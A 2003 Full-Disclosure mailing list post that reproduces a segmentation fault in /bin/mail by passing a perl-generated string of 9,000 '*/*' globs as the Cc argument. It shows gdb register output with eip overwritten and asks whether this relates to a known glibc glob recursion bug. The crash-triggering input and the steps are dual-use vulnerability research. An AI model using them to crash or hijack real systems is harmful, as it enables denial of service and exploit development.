[Full-Disclosure] /bin/mail & glibc

Date: 05/29/03

  • Next message: Mark: "[Full-Disclosure] Re: /bin/mail & glibc"
    To: full-disclosure@lists.netsys.com
    Date: Thu, 29 May 2003 09:34:14 +0100 (BST)


    Not sure if you remember a while ago on vuln-dev a topic called
    'bash-blues' - it was about seg faulting bash with this command:

    `perl -e 'print "*/*" x 9000'`

    (turned out it was actually a small bug in glibc rather than bash)

    see: http://lists.insecure.org/lists/vuln-dev/2003/Feb/0020.html

    I've had a bit of spare time today messing around and I played around
    with the output from the command that was talked about in the bash blues
    posting. This time however I used /bin/mail instead of bash.

    Anyway here goes:

    Pop into a 'zsh' shell which doesn't crash like bash when you mess with
    the above command, and run this:

    perl -e 'print "*/*" x 9000' > subs

    Now, this just pops '**/' into a file quite a few times.

    Okay, now ensure core dumps are turned on:

    oakey% ulimit -c 99999

    And run:

    oakey% /bin/mail -s Test -c `cat subs` root@localhost

    (press enter a couple of times, and then type

    . <enter>

    to send the email.

    Here's my output:

    oakey% /bin/mail -s Test -c `cat subs` root@localhost

    Cc: too long to edit
    zsh: segmentation fault (core dumped) /bin/mail -s Test -c `cat subs`

    looking at the core dump we get:

    oakey% gdb file core.18280
    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    Copyright 2003 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you
    are welcome to change it and/or distribute copies of it under certain
    conditions. Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for
    This GDB was configured as "i386-redhat-linux-gnu"...
    (no debugging symbols found)...

    warning: core file may not match specified executable file.

    Core was generated by
    Program terminated with signal 11, Segmentation fault.
    #0 0x2a2a2f2a in ?? ()
    (gdb) i r
    eax 0x8064d80 134630784
    ecx 0xbfff6650 -1073781168
    edx 0x1 1
    ebx 0x2a2f2a2a 707734058
    esp 0xbfff8670 0xbfff8670
    ebp 0x2a2f2a2a 0x2a2f2a2a <-----
    esi 0x2a2a2f2a 707407658
    edi 0x2f2a2a2f 791292463
    eip 0x2a2a2f2a 0x2a2a2f2a <-----
    eflags 0x10286 66182
    cs 0x23 35
    ss 0x2b 43
    ds 0x2b 43
    es 0x2b 43
    fs 0x0 0
    gs 0x33 51

    I remember from the vuln-dev post 'bash-blues' what was thought to be
    a bash problem infact wasn't - it was actually a problem in glibc:

    -- quote 1 --
    It's a stack overflow, due to glob_filename (in glob.c) recursively
    calling itself while parsing the filename. So probably not exploitable.

    - Blazde

    -- quote 2 --

    It looks to be the only correct post in this thread :) Yes, it's
    definitely bug in glibc, not in bash itself (same versions of bash on
    libc systems like FreeBSD are not affected). Recurse call stack overflow
    is believed not to be exploitable to code execution, but since this bug
    is in library it may be treated as security one as it may be exploited
    remotely (at least as a DoS) in a case glob_filename is used in some
    network service.

    - 3APA3A

    I remember from the bash posting a few months ago that we only overwrote
    the ecx register:

    X86: ecx: 0x2f2f2f2f

    Just wondering what (if any) relevance todays post may have with regard
    to the glibc issue - since we overwrote the eip register today? I did however notice in
    gdb it stated: warning: core file may not match specified executable
    file, so I'm guessing the eip overwrite is just a result of our example
    (using /bin/mail), and not of the real bug in glibc?


    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Mark: "[Full-Disclosure] Re: /bin/mail & glibc"